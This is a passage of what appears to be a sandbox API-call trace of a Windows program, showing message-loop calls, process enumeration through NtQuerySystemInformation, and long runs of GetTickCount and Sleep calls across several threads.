wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.893] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0318.893] WaitMessage () returned 1 [0319.422] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0319.422] IsWindowUnicode (hWnd=0x10166) returned 1 [0319.422] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0319.422] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0319.422] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0319.422] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0319.422] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0319.422] WaitMessage () returned 1 [0319.953] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0319.953] IsWindowUnicode (hWnd=0x10166) returned 1 [0319.953] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0319.953] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0319.953] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0319.953] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0319.954] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0319.954] WaitMessage () returned 1 [0320.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0320.483] IsWindowUnicode (hWnd=0x10166) returned 1 [0320.483] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0320.483] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0320.483] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0320.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0320.483] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0320.483] WaitMessage () returned 1 [0320.514] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0320.514] IsWindowUnicode (hWnd=0x1015c) returned 1 [0320.514] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0320.514] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0320.514] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0320.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0320.518] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0320.518] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0320.518] WaitMessage () returned 1 [0321.013] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0321.013] IsWindowUnicode (hWnd=0x10166) returned 1 [0321.013] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0321.013] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0321.013] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0321.013] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0321.013] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0321.013] WaitMessage () returned 1 [0321.543] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0321.543] IsWindowUnicode (hWnd=0x10166) returned 1 [0321.543] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0321.543] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0321.544] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0321.544] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0321.544] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0321.544] WaitMessage () returned 1 [0322.074] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.074] IsWindowUnicode (hWnd=0x10166) returned 1 [0322.074] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.074] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0322.074] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0322.074] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.074] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.074] WaitMessage () returned 1 [0322.526] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.526] IsWindowUnicode (hWnd=0x1015c) returned 1 [0322.526] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.527] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0322.527] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0322.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6fb8) returned 0x0 [0322.530] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.530] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.530] WaitMessage () returned 1 [0322.604] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.604] IsWindowUnicode (hWnd=0x10166) returned 1 [0322.604] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0322.604] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0322.604] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0322.604] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.604] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0322.604] WaitMessage () returned 1 [0323.135] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0323.135] IsWindowUnicode (hWnd=0x10166) returned 1 [0323.135] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0323.135] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0323.135] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0323.135] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0323.135] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0323.135] WaitMessage () returned 1 [0323.665] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0323.665] IsWindowUnicode (hWnd=0x10166) returned 1 [0323.665] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0323.665] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0323.665] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0323.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0323.666] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0323.666] WaitMessage () Thread: id = 233 os_tid = 0x7f4 Thread: id = 234 os_tid = 0x7f8 [0120.537] CoGetContextToken (in: pToken=0x4c5fb3c | out: pToken=0x4c5fb3c) returned 0x800401f0 [0120.542] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0122.618] CloseHandle (hObject=0x1f0) returned 1 [0122.618] CloseHandle (hObject=0x20c) returned 1 Thread: id = 235 os_tid = 0x7fc Thread: id = 236 os_tid = 0x4ec [0142.918] CoGetContextToken (in: pToken=0x560f9ec | out: pToken=0x560f9ec) returned 0x0 [0142.918] CObjectContext::QueryInterface () returned 0x0 [0142.918] CObjectContext::GetCurrentThreadType () returned 0x0 [0142.918] Release () returned 0x0 Thread: id = 237 os_tid = 0x4f4 [0122.619] SetEvent (hEvent=0x228) returned 1 [0122.619] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0122.619] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.620] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.621] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5224 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.622] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.623] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0122.624] GetTickCount () returned 0x5234 [0130.381] GetTickCount () returned 0x6f74 [0130.381] Sleep (dwMilliseconds=0x64) [0130.496] Sleep (dwMilliseconds=0x64) [0130.600] Sleep (dwMilliseconds=0x64) [0130.740] Sleep (dwMilliseconds=0x64) [0130.854] Sleep (dwMilliseconds=0x64) [0130.966] Sleep (dwMilliseconds=0x64) [0131.067] Sleep (dwMilliseconds=0x64) [0131.177] Sleep (dwMilliseconds=0x64) [0131.318] Sleep (dwMilliseconds=0x64) [0131.426] Sleep (dwMilliseconds=0x64) [0131.535] Sleep (dwMilliseconds=0x64) [0131.644] Sleep (dwMilliseconds=0x64) [0131.753] Sleep (dwMilliseconds=0x64) [0131.863] Sleep (dwMilliseconds=0x64) [0131.972] Sleep (dwMilliseconds=0x64) [0132.081] Sleep (dwMilliseconds=0x64) [0132.190] Sleep (dwMilliseconds=0x64) [0132.299] Sleep (dwMilliseconds=0x64) [0132.409] Sleep (dwMilliseconds=0x64) [0132.518] Sleep (dwMilliseconds=0x64) [0132.628] Sleep (dwMilliseconds=0x64) [0132.736] Sleep (dwMilliseconds=0x64) [0132.846] Sleep (dwMilliseconds=0x64) [0132.955] Sleep (dwMilliseconds=0x64) [0133.064] Sleep (dwMilliseconds=0x64) [0133.178] Sleep (dwMilliseconds=0x64) [0133.282] Sleep (dwMilliseconds=0x64) [0133.392] Sleep (dwMilliseconds=0x64) [0133.504] Sleep (dwMilliseconds=0x64) [0133.610] Sleep (dwMilliseconds=0x64) [0133.719] Sleep (dwMilliseconds=0x64) [0133.830] Sleep (dwMilliseconds=0x64) [0133.938] Sleep (dwMilliseconds=0x64) [0134.047] Sleep (dwMilliseconds=0x64) [0134.156] Sleep (dwMilliseconds=0x64) [0134.265] Sleep (dwMilliseconds=0x64) [0134.374] Sleep (dwMilliseconds=0x64) [0134.484] Sleep (dwMilliseconds=0x64) [0134.593] Sleep (dwMilliseconds=0x64) [0134.702] Sleep (dwMilliseconds=0x64) [0134.835] Sleep (dwMilliseconds=0x64) [0134.942] Sleep (dwMilliseconds=0x64) [0135.045] Sleep (dwMilliseconds=0x64) [0135.154] Sleep (dwMilliseconds=0x64) [0135.268] Sleep (dwMilliseconds=0x64) [0135.373] Sleep (dwMilliseconds=0x64) [0135.482] Sleep (dwMilliseconds=0x64) [0135.593] Sleep (dwMilliseconds=0x64) [0135.700] Sleep (dwMilliseconds=0x64) [0135.810] Sleep (dwMilliseconds=0x64) [0135.922] Sleep (dwMilliseconds=0x64) [0136.053] Sleep (dwMilliseconds=0x64) [0136.153] Sleep (dwMilliseconds=0x64) [0136.262] Sleep (dwMilliseconds=0x64) [0136.379] Sleep (dwMilliseconds=0x64) [0136.480] Sleep (dwMilliseconds=0x64) [0136.590] Sleep (dwMilliseconds=0x64) [0136.703] Sleep (dwMilliseconds=0x64) [0136.808] Sleep (dwMilliseconds=0x64) [0136.918] Sleep (dwMilliseconds=0x64) [0137.030] Sleep (dwMilliseconds=0x64) [0137.136] Sleep (dwMilliseconds=0x64) [0137.245] Sleep (dwMilliseconds=0x64) [0137.356] Sleep (dwMilliseconds=0x64) [0137.464] Sleep (dwMilliseconds=0x64) [0137.573] Sleep (dwMilliseconds=0x64) [0137.682] Sleep (dwMilliseconds=0x64) [0137.791] Sleep (dwMilliseconds=0x64) [0137.900] Sleep (dwMilliseconds=0x64) [0138.012] Sleep (dwMilliseconds=0x64) [0138.119] Sleep (dwMilliseconds=0x64) [0138.228] Sleep (dwMilliseconds=0x64) [0138.338] Sleep (dwMilliseconds=0x64) [0138.446] Sleep (dwMilliseconds=0x64) [0138.556] Sleep (dwMilliseconds=0x64) [0138.665] Sleep (dwMilliseconds=0x64) [0138.774] Sleep (dwMilliseconds=0x64) [0138.883] Sleep (dwMilliseconds=0x64) [0138.993] Sleep (dwMilliseconds=0x64) [0139.102] Sleep (dwMilliseconds=0x64) [0139.211] Sleep (dwMilliseconds=0x64) [0139.320] Sleep (dwMilliseconds=0x64) [0139.429] Sleep (dwMilliseconds=0x64) [0139.538] Sleep (dwMilliseconds=0x64) [0139.647] Sleep (dwMilliseconds=0x64) [0139.757] Sleep (dwMilliseconds=0x64) [0139.883] Sleep (dwMilliseconds=0x64) [0139.991] Sleep (dwMilliseconds=0x64) [0140.100] Sleep (dwMilliseconds=0x64) [0140.209] Sleep (dwMilliseconds=0x64) [0140.318] Sleep (dwMilliseconds=0x64) [0140.428] Sleep (dwMilliseconds=0x64) [0140.537] Sleep (dwMilliseconds=0x64) [0140.646] Sleep (dwMilliseconds=0x64) [0140.755] Sleep (dwMilliseconds=0x64) [0140.865] Sleep (dwMilliseconds=0x64) [0140.974] Sleep (dwMilliseconds=0x64) [0141.083] Sleep (dwMilliseconds=0x64) [0141.192] Sleep (dwMilliseconds=0x64) [0141.301] Sleep (dwMilliseconds=0x64) [0141.410] Sleep (dwMilliseconds=0x64) [0141.519] Sleep (dwMilliseconds=0x64) [0141.629] Sleep (dwMilliseconds=0x64) [0141.738] Sleep (dwMilliseconds=0x64) [0141.850] Sleep (dwMilliseconds=0x64) [0141.956] Sleep (dwMilliseconds=0x64) [0142.065] Sleep (dwMilliseconds=0x64) [0142.175] Sleep (dwMilliseconds=0x64) [0142.284] Sleep (dwMilliseconds=0x64) [0142.393] Sleep (dwMilliseconds=0x64) [0142.502] Sleep (dwMilliseconds=0x64) [0142.612] Sleep (dwMilliseconds=0x64) [0142.721] Sleep (dwMilliseconds=0x64) [0142.830] Sleep (dwMilliseconds=0x64) [0142.960] Sleep (dwMilliseconds=0x64) [0143.064] Sleep (dwMilliseconds=0x64) [0143.173] Sleep (dwMilliseconds=0x64) [0143.285] Sleep (dwMilliseconds=0x64) [0143.392] Sleep (dwMilliseconds=0x64) [0143.506] Sleep (dwMilliseconds=0x64) [0143.610] Sleep (dwMilliseconds=0x64) [0143.719] Sleep (dwMilliseconds=0x64) [0143.828] Sleep (dwMilliseconds=0x64) [0143.938] Sleep (dwMilliseconds=0x64) [0144.047] Sleep (dwMilliseconds=0x64) [0144.156] Sleep (dwMilliseconds=0x64) [0144.266] Sleep (dwMilliseconds=0x64) [0144.375] Sleep (dwMilliseconds=0x64) [0144.484] Sleep (dwMilliseconds=0x64) 